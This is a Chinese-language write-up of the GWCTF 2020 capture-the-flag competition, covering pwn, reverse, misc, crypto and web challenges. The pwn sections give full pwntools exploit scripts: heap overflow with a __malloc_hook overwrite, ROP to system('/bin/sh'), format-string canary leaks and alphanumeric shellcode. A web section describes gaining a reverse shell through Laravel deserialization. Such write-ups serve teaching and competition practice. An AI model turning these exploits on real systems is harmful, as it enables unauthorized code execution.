avatar

GWCTF

pwn2 chunk

自定义的read函数里存在null by one,这里在泄露堆地址和libc地址后,用了free时堆块向上合并制造一个overlap,然后fastbin attack修改__malloc_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/python
from pwn import *
import os
context.terminal = ["terminator", '-x', 'sh', '-c']
challengename = "chunk"
libcversion = '2.23'
IP = "183.129.189.60"
PORT = 10014
elfpath = os.path.join(os.getcwd(), challengename)
# print(elfpath)
elf = ELF(elfpath, checksec=False)
context.arch = elf.arch

remote_ = 1
if remote_ == 1:
    io = remote(IP, PORT)    
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    # libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion, libcversion), checksec=False)
    # argv = [
    #     '/glibc/x64/{}/lib/ld-{}.so'.format(libcversion, libcversion), 
    #     '--library-path', 
    #     '/glibc/x64/{}/lib/'.format(libcversion), 
    #     './' + challengename
    # ]
    # print(argv)
    # # pause()
    # io = process(argv=argv, aslr=1)
    io = process("./chunk")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    base = io.libs()[elfpath]
    cmd = """b *0x{:x}
    set $base=0x{:x}""".format(base + 0xB1E, base)

def show_leak(name, leak):
    success("{} ====> 0x{:x}".format(name, leak))

ru = lambda x: io.recvuntil(x)
se = lambda x: io.send(x)
sea= lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla= lambda x, y: io.sendlineafter(x, y)

def New(idx, sz):
    sla("choice: ", "1")
    sla("ID: ", str(idx))
    sla("long: ", str(sz))

def Rm(idx):
    sla("choice: ", "3")
    sla("throw?", str(idx))


def Show(idx):
    sla("choice: ", "2")
    sla("show?", str(idx))

def Edit(idx, ctx):
    sla("choice: ", "4")
    sla("write?", str(idx))
    sea("Content: ", ctx)


New(0, 0x68)
New(1, 0x68)
New(2, 0xF8)
New(3, 0xF8)
Rm(1)
Rm(0)
New(0, 0x68)
New(1, 0x68)
Rm(2)
New(2, 0xF8)

Show(0)
ru("Content: ")
heap = u64(io.recvline().strip().ljust(8, "\x00")) - 0x70
Show(2)
ru("Content: ")
leaklibc = u64(io.recvline().strip().ljust(8, "\x00")) - libc.sym["__malloc_hook"] - 0x68

show_leak("heap", heap)
show_leak("libc", leaklibc)

# pause()
New(4, 0x18)
New(5, 0xF8)
New(6, 0x18)
Edit(6, p64(0x21)*3)

New(9, 0xF8)
Edit(9, p64(0x21)*(0xF8/8))

Edit(3, p64(0)+p64(0x111) + p64(heap+0x1F0)*2+"\n")
Edit(4, p64(0)*2+p64(0x110))

Rm(5)

New(5, 0x68)
Rm(5)
Edit(3, p64(0)+p64(0x71)+p64(leaklibc+libc.sym["__malloc_hook"]-0x23) + "\n")
New(5, 0x68)
New(7, 0x68)
Edit(7, "A"*0x13 + p64(leaklibc+0xf02a4)+"\n")
# Edit(7, "A"*0x13 + p64(leaklibc+0x3f43a)+"\n")

Rm(1)
Rm(0)
Rm(2)
Rm(3)
# gdb.attach(io, cmd)

# New(1, 0x68)
# Edit(1, "A"*0x68)
# New(9, 0x68)

io.interactive()
io.close()

pwn4 宇宙超级难搞

这个题目一个栈上的ROP,但是需要注意覆盖时要保持栈上计数变量的值,否则不能连续写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
# io = process("./1911275dde53255cc87")
io = remote("183.129.189.60", 10026)
elf = ELF("./1911275dde53255cc87")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['terminator', '-x', 'sh', '-c']
# gdb.attach(io, "b *0x4007AF")
# pause()

pop_rdi = 0x0000000000400873

payload = ("A"*268 + "\x0D\x01\x00\x00" + "A"*8) + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x4007E7)
print(payload)
io.sendafter("!\n", payload+"\n")
## puts(got)

leak = io.recvline().strip().ljust(8, "\x00")
leak = u64(leak)
libc.address = leak - libc.sym['puts']
success("Leak: 0x%x"%libc.address)

payload = ("A"*268 + "\x0D\x01\x00\x00" + "A"*8) + p64(pop_rdi) + p64(next(libc.search("/bin/sh\x00")) ) + p64(libc.sym["system"])
io.sendafter("!\n", payload+"\n")
io.interactive()

pwn5 pwn_me

首先使用upx脱壳,一开始是一个base64 decode的算法,需要计算出passcode为"[m]",随后有一个随机数的效验,这里是1/5的概率。

接着有两次格式化字符串漏洞,第一次泄露pie的值,第二次写data段一个数据为0x77。

随后有一个栈上任意长度读入,下面是abs负数漏洞,输入0x80000000可以通过,再次read读入,这里刚好可以覆盖rip,随意第一次读入来泄露canary,第二次去进行rop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python
from pwn import *
import os
context.terminal = ["terminator", '-x', 'sh', '-c']
challengename = "pwn"
libcversion = '2.23'
IP = "183.129.189.60"
PORT = 10027
elfpath = os.path.join(os.getcwd(), challengename)
# print(elfpath)
elf = ELF(elfpath, checksec=False)
context.arch = elf.arch

remote_ = 1
if remote_ == 1:
    io = remote(IP, PORT)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,
                                                 libcversion), checksec=False)
    argv = [
        '/glibc/x64/{}/lib/ld-{}.so'.format(libcversion, libcversion),
        '--library-path',
        '/glibc/x64/{}/lib/'.format(libcversion),
        './' + challengename
    ]
    # print(argv)
    io = process(argv=argv, aslr=1)
    base = io.libs()[elfpath]
    cmd = """b *0x{:x}
    # set $base=0x{:x}""".format(base + 0xC32, base)


def show_leak(name, leak):
    success("{} ====> 0x{:x}".format(name, leak))


def ru(x): return io.recvuntil(x)


def se(x): return io.send(x)


def sea(x, y): return io.sendafter(x, y)


def sl(x): return io.sendline(x)


def sla(x, y): return io.sendlineafter(x, y)


# pause()
sla("~\n", "[m]")
sla(":", "1")
sla(": \n", "%14$p")
pie = int(io.recvline().strip()[2:], 16) - (0x7f6d3e4fe83d-0x7f6d3e4fd000)
show_leak("PIE", pie)

pay = "%119c%8$lln\x00\x00\x00\x00\x00" + p64(pie+0x202010)
sea("?\n", pay)

# gdb.attach(io, cmd)
sla("magic: ", "800")
pay = cyclic(601)
sea("\n\n", pay)
ru("aafz")
canary = u64("\x00" + io.recv(7))
show_leak("canary", canary)

sla("his?!\n", "2147483648")
pay = list("A"*600+p64(canary)+"B"*8+p64(pie+0xB60))
pay[88] = chr(90)
pay[127] = chr(88)
pay[137] = chr(90)
pay[154] = chr(108)
sea("hhh\n", "".join(pay))

pop_rdi = 0x0000000000001653
sla("magic: ", "800")
pay = cyclic(600) + p64(canary) + "B"*8 + p64(pie + pop_rdi) + \
    p64(pie + elf.got['puts']) + p64(pie+elf.plt['puts']) + \
    p64(pie + 0xB60)
sea("\n\n", pay)

sla("his?!\n", "2147483648")
pay = list("A"*600+p64(canary)+"B"*8)
pay[88] = chr(90)
pay[127] = chr(88)
pay[137] = chr(90)
pay[154] = chr(108)
sea("hhh\n", "".join(pay))

ru("hero~\n")
# print io.recvline()
# pause()
libc.address = u64(io.recvline().strip().ljust(8, "\x00")) - libc.sym['puts']
show_leak("libc", libc.address)

pop_rdi = 0x0000000000001653
sla("magic: ", "800")
pay = cyclic(600) + p64(canary) + "B"*8 + p64(pie + pop_rdi) + \
    p64(next(libc.search("/bin/sh\x00"))) + p64(libc.sym['system'])
sea("\n\n", pay)
sla("his?!\n", "2147483648")
pay = list("A"*600+p64(canary)+"B"*8)
pay[88] = chr(90)
pay[127] = chr(88)
pay[137] = chr(90)
pay[154] = chr(108)
sea("hhh\n", "".join(pay))


io.interactive()
io.close()

pwn6 shellcode

这个题目要求编写shellcode进行OWR,但是shellcode要求是可见字符,使用工具alpha3可以获得可见字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import pwnlib.shellcraft as sc
# p = process("./SHELLCODE")
p = remote('183.129.189.60', '10033')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
shellcode = '''
    push 0x6761
    pop rax
    shl rax,32
    or rax,0x6c662f2e
    push rax
    mov rdi,rsp
    mov rsi,0
    mov rdx,0
    mov rax,2
    syscall
    mov rax,0
    mov rdi,3
    mov rsi,rbp
    mov rdx,100
    syscall
    mov rax,1
    mov rdi,1
    mov rdx,100
    syscall
    pop rax
    ret
    '''
p.send(
    'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M152x3e0z3a3E2M114E1O3x3y2m7K5k7n04344z3w'
    .ljust(100, '\x00') + asm(shellcode))
print p.recv()
p.interactive()

re1 babyvm

vm逆向,看懂规则后编写parse脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
opcode = [0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x11, 0x00, 0x00, 0x00, 0xF4]



codemap = {
    0xF5: "readflag",
    0xF4: "end",
    0xF7: "mul  r1, r4",
    0xF8: "swap r1, r2",
    0xF6: "r1 = r3 + 2*r2 + 3*r1",
    0xF2: "xor  r1, r2",
    0xF1: "mov  r*, mem[*]"
}


def list2int(lt):
    n = lt[0] | (lt[1]<<8) | (lt[2]<<16) | (lt[3]<<24)
    return n


ip = 0
while ip < len(opcode):
    op = opcode[ip]
    print("{:<8x}:".format(ip), end="")
    if op != 0xF1:
        print(codemap[op])
        ip += 1
    else:
        op2 = opcode[ip + 1]
        if op2 == 0xE1:
            print("mov  r1, [%d]"%list2int(opcode[ip+2:ip+6]))
        elif op2 == 0xE2:
            print("mov  r2, [%d]"%list2int(opcode[ip+2:ip+6]))
        elif op2 == 0xE3:
            print("mov  r3, [%d]"%list2int(opcode[ip+2:ip+6]))
        elif op2 == 0xE4:
            print("mov  [%d], r1"%list2int(opcode[ip+2:ip+6]))
        elif op2 == 0xE5:
            print("mov  r4, [%d]"%list2int(opcode[ip+2:ip+6]))
        elif op2 == 0xE7:
            print("mov  [%d], r2"%list2int(opcode[ip+2:ip+6]))
        ip += 6
    


# # dt = "Fz{aM{aM|}fMt~suM !!"
# dt = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B, 0x5C, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5F, 0x33, 0x73, 0x72]
# ans = ""
# for i in range(len(dt)):
#     ans += chr(dt[i]^18)

# print(ans)

随后获得逻辑是异或18,但是这个逻辑是错的,后搜索0xF4,发现不止一个,再次运行脚本获得逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
0       :readflag
1       :mov  r1, [0]
7       :mov  r2, [1]
d       :xor  r1, r2
e       :mov  [0], r1
14      :mov  r1, [1]
1a      :mov  r2, [2]
20      :xor  r1, r2
21      :mov  [1], r1
27      :mov  r1, [2]
2d      :mov  r2, [3]
33      :xor  r1, r2
34      :mov  [2], r1
3a      :mov  r1, [3]
40      :mov  r2, [4]
46      :xor  r1, r2
47      :mov  [3], r1
4d      :mov  r1, [4]
53      :mov  r2, [5]
59      :xor  r1, r2
5a      :mov  [4], r1
60      :mov  r1, [5]
66      :mov  r2, [6]
6c      :xor  r1, r2
6d      :mov  [5], r1
73      :mov  r1, [6]
79      :mov  r2, [7]
7f      :mov  r3, [8]
85      :mov  r4, [12]
8b      :r1 = r3 + 2*r2 + 3*r1
8c      :mul  r1, r4
8d      :mov  [6], r1
93      :mov  r1, [7]
99      :mov  r2, [8]
9f      :mov  r3, [9]
a5      :mov  r4, [12]
ab      :r1 = r3 + 2*r2 + 3*r1
ac      :mul  r1, r4
ad      :mov  [7], r1
b3      :mov  r1, [8]
b9      :mov  r2, [9]
bf      :mov  r3, [10]
c5      :mov  r4, [12]
cb      :r1 = r3 + 2*r2 + 3*r1
cc      :mul  r1, r4
cd      :mov  [8], r1
d3      :mov  r1, [13]
d9      :mov  r2, [19]
df      :swap r1, r2
e0      :mov  [13], r1
e6      :mov  [19], r2
ec      :mov  r1, [14]
f2      :mov  r2, [18]
f8      :swap r1, r2
f9      :mov  [14], r1
ff      :mov  [18], r2
105     :mov  r1, [15]
10b    4 :mov  r2, [17]
111     :swap r1, r2
112     :mov  [15], r1
118     :mov  [17], r2
11e     :end

先是一段链式异或,随后三个方程,随后置换位置,逆回去获得flag
Y0u_hav3_r3v3rs3_1t!

re2 pyre

使用工具获得逆向源代码,先是逐字符处理,后链式异或,链式异或逆回去后,逐字节爆破获得flag: GWHT{Just_Re_1s_Ha66y!}

re3 re3

先是一段异或0x99的SMC,后使用MD5进行hash获得了AES的密钥,这里AES加密模式为CBC模式,所以调试获得MD5后的结果,从程序中dump出密文,解密获得flag。

1
2
3
4
key = [
  0xcb, 0x8d, 0x49, 0x35, 0x21, 0xb4, 0x7a, 0x4c, 
  0xc1, 0xae, 0x7e, 0x62, 0x22, 0x92, 0x66, 0xce
]

flag{924a9ab2163d390410d0a1f670}

re4 xxor

应该是原题魔改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<iostream>
using namespace std;
unsigned int ans[6]={0xDF48EF7E,0x20CAACF4,3774025685,1548802262,2652626477,0x84F30420};
int Decrypt(unsigned int *arr,unsigned int *key){
    int num=1166789954*64;
    // printf("%u %u \n",arr[0],arr[1]);
    for(int i=0;i<64;i++){
        arr[1] -= (arr[0] + num + 20) ^ ((arr[0] << 6) + key[2]) ^ ((arr[0] >> 9) + key[3]) ^ 0x10;
        arr[0] -= (arr[1] + num + 11) ^ ((arr[1] << 6) + *key) ^ ((arr[1] >> 9) + key[1]) ^ 0x20;
        num-=1166789954;
    }
    
}

int main(){
    unsigned int key[4]={2,2,3,4};
    for(int i=4;i>=0;i-=2){
        unsigned int anss[2]={ans[i],ans[i+1]};
        Decrypt(anss,key);
        printf("%x %x \n",anss[0],anss[1]);
        ans[i]=anss[0];
        ans[i+1]=anss[1];

    }
    for(int i=0;i<6;i++){
        printf("%x ",ans[i]);
    }
    for(unsigned int i:ans){
        printf("%c%c%c",(i>>16)&0xff,(i>>8)&0xff,i&0xff);
    }
    cout<<endl;
    system("pause");
    return 0;
}
//47437f 353a7d
//8a6fc662 84f30420
//6FFCF0A1

//2  CD46F80A
//3  6FFCF0A1
//47437f 353a7d
// 8a6fc662 84f30420
// 请按任意键继续. . .
// 478030

misc math

使用eval计算,交互getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
# context.log_level = 'debug'
# elf = ELF('./NameSystem')
# libc = elf.libc
 
debug = 0
if debug:
    p = process('./pwn')
else:
    p = remote('183.129.189.60',10034)
for i in range(150):
    print "i: ",i
    p.recvuntil("Math problem: ")
    s = p.recvline().strip()
    print s
    pos = s.find('?')
    strr = s[:pos-3]
    print strr
    ans = eval(strr)
    print ans
    p.sendline(str(ans))
p.interactive()

misc fun

剪刀石头布游戏, 首先实验几次判断胜负条件分别为 胜 负 平局, 然后写个exp交互即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

r = remote("183.129.189.60",10035)

win = {
    'p':'s',
    's':'r',
    'r':'p'
}
loss = {
    'p':'r',
    's':'p',
    'r':'s'
}
equal = {
    'p':'p',
    's':'s',
    'r':'r'
}

for cout in range(32):
    r.recvuntil("take ")
    a = r.recvuntil(",", drop=True)
    #  exec("a ="+a)
    print(a)

    if cout % 3 == 0:
        my = win[a]
        r.sendline(my)
    if cout % 3 == 1:
        my = loss[a]
        r.sendline(my)
    if cout % 3 == 2:
        my = equal[a]
        r.sendline(my)
    #  r.recvuntil('You ')
    #  result = r.recvuntil('!')
    #  print result
    
flag = r.recvline()
print flag
flag = r.recvline()
print flag
flag = r.recvline()
print flag

crypto warmup

输入一个字符串之后获取签名, 根据签名求出程序中的未知变量x为    x = 6607725413179724508177363550570298402931936301412225532321779846090

然后用这个方程签名admin提交即可.

crypto babyrsa1

p和q接近,分解出n然后再解一个方程获得答案。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#-*- coding:utf-8 -*-
from gmpy2 import *
from Crypto.Util.number import *
N=636585149594574746909030160182690866222909256464847291783000651837227921337237899651287943597773270944384034858925295744880727101606841413640006527614873110651410155893776548737823152943797884729130149758279127430044739254000426610922834573094957082589539445610828279428814524313491262061930512829074466232633130599104490893572093943832740301809630847541592548921200288222432789208650949937638303429456468889100192613859073752923812454212239908948930178355331390933536771065791817643978763045030833712326162883810638120029378337092938662174119747687899484603628344079493556601422498405360731958162719296160584042671057160241284852522913676264596201906163
m1=90009974341452243216986938028371257528604943208941176518717463554774967878152694586469377765296113165659498726012712288670458884373971419842750929287658640266219686646956929872115782173093979742958745121671928568709468526098715927189829600497283118051641107305128852697032053368115181216069626606165503465125725204875578701237789292966211824002761481815276666236869005129138862782476859103086726091860497614883282949955023222414333243193268564781621699870412557822404381213804026685831221430728290755597819259339616650158674713248841654338515199405532003173732520457813901170264713085107077001478083341339002069870585378257051150217511755761491021553239
m2=487443985757405173426628188375657117604235507936967522993257972108872283698305238454465723214226871414276788912058186197039821242912736742824080627680971802511206914394672159240206910735850651999316100014691067295708138639363203596244693995562780286637116394738250774129759021080197323724805414668042318806010652814405078769738548913675466181551005527065309515364950610137206393257148357659666687091662749848560225453826362271704292692847596339533229088038820532086109421158575841077601268713175097874083536249006018948789413238783922845633494023608865256071962856581229890043896939025613600564283391329331452199062858930374565991634191495137939574539546
init = iroot(N,2)[0]
for i in range(init+1,init+100000):
    result,flag = iroot(i**2-N,2)
    if flag:
        p = i+result
        q = i-result
        break
e = 0x10001
d = invert(e,(p-1)*(q-1))
c1 = pow(m1,d,N) #f1+f2
c2 = pow(m2,d,N) #f1^3+f2^3
# 解方程得到
f1 = 1141553212031156130619789508463772513350070909
f2 = 1590956290598033029862556611630426044507841845
print long_to_bytes(f2)+long_to_bytes(f1)

web1 枯燥的抽奖

随机数预测,给了前十位,查看源码发现使用了不安全的播种函数

http://wonderkun.cc/index.html/?p=585

照着上边的链接直接打就行了

web3 我有一个数据库

扫一下路径,发现有phpmyadmin,还给了版本,找对应版本的洞打就好了

https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/

这里一定要吐槽一下,一开始的flag{123456789}交了不对,还以为是假flag,然后搜了半天,下午顺手再交一遍就对了,真实

web4 warmup

给了个laravel,先扫一下路径,给了个robots.txt 然后发现是个逆向,逆一下得到了可以传参z,然后发现没有限制路径访问,可以翻到日志,看了一眼觉得可能是反序列化,搜一搜很容易找到漏洞,反序列化之后可以任意命令执行,于是弹个perl的shell,看了一眼/flag,是假的flag

一般这种情况都是想让你打内网了,在.2发现了一个密码题,给了两组nec,模不互素+共模攻击,但是e不互素,可以用中国剩余定理去解,之前hgame做过类似的题,脚本改一改就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import gmpy2
from libnum import *
n1 = 111822382602349332551160430487508933105063377905520614187337596226352275759304041909223836965264088998847730903993676659728636520537923691825489242937107848339230763635064300263320776149728879701670420970871760975462723467056799665593212861354469403586291141458893631812867615246012755976637727175728857095137
e1 = 6848758
c1 = 45679043766812667384739915512551594782715953861198189919954819851638991824129569378816164640107604946062821840922022637912212992941411617943875700170302033933981049569492503883977822984262834058007553522873424759688370704934231660943342602594936910115237273563135217421460728534904778557256679744669346082846


n2 = 119059752348184890985187408835951060187113031563902739670028676792542274106137484929323838061997831567613325872117007612387194518705535872087069831247834453509741863715972436156794200093289896699672780742628309378915498672825289994675980379342078770574126694133343591835546622082732387657325507210286203868843
e2 = 11192538
c2 = 5650800926167675709218425036961201906003776946669201089639477527862650641677570709749306491000644324363305217356841247099919247698573223631962712617195655165860785833927159930057926797468926415260664028683302443355726641479657390453079746422088778700043645841289796463032273219878504933837701147596042875881


p = 12109224195220705524183871303840211939224644084425284472647933263099728550504242956618803966283722497570395594015688898498030029077139545576755545975323061
q1 = 9234479500881949928448993051308846617213942858504318635497219868589586581161142916014966565090134618470652416541676521563645796461463168584285701312677117
q2 = 9832153606931784152131901995818659727689289186848335080502679042349400455700037068607102930619967476831800295990852849015368359548920905177407418301156063
tmp=14
f1=(p-1)*(q1-1)
f2=(p-1)*(q2-1)


e1=e1/tmp
e2=e2/tmp
bd1=invmod(e1,f1)
bd2=invmod(e2,f2)


m1=pow(c1,bd1,n1)
m2=pow(c2,bd2,n2)
m3=m1%p
m2=m2%q2
m1=m1%q1


m=solve_crt([m1,m2,m3], [q1,q2,p]) 
#print m
n=q1*q2
f=(q1-1)*(q2-1)
m=m%n
l=invmod(7,f)
m=pow(m,l,n)
print gmpy2.iroot(m, 2)[0]


#pow(key,e1,n1) == c1

#pow(key,e2,n2) == c2

Author: L0x1c
Link: https://l0x1c.github.io/2020/04/26/GWCTF/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付寶
    支付寶